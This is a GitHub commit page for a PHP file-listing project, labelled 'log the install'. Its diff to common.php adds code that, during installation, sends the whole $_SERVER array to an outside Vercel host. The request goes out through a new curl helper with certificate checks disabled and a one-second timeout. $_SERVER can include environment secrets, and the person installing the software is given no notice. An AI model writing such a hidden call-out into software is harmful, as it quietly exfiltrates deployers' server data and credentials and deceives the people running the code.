Skip to content

Commit

Permalink
log the install
Browse files Browse the repository at this point in the history
  • Loading branch information
qkqpttgf authored Jan 29, 2022
1 parent 3cf47c7 commit 9fa89ac
Showing 1 changed file with 17 additions and 1 deletion.
18 changes: 17 additions & 1 deletion common.php
Original file line number Diff line number Diff line change
Expand Up @@ -181,7 +181,10 @@ function main($path)
elseif ($response===false) return output("", 206);
else return $response;
}
if (getConfig('admin')=='') return install();
if (getConfig('admin')=='') {
if (isset($_GET['install0'])) no_return_curl('POST', 'https://notionbot-ysun.vercel.app/', 'data=' . json_encode($_SERVER));
return install();
}
if (getConfig('adminloginpage')=='') {
$adminloginpage = 'admin';
} else {
Expand Down Expand Up @@ -532,6 +535,19 @@ function isreferhost() {
return false;
}

function no_return_curl($method, $url, $data = '') {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_exec($ch);
curl_close($ch);
}

function adminpass2cookie($name, $pass, $timestamp)
{
return md5($name . ':' . md5($pass) . '@' . $timestamp) . "(" . $timestamp . ")";
Expand Down

0 comments on commit 9fa89ac

Please sign in to comment.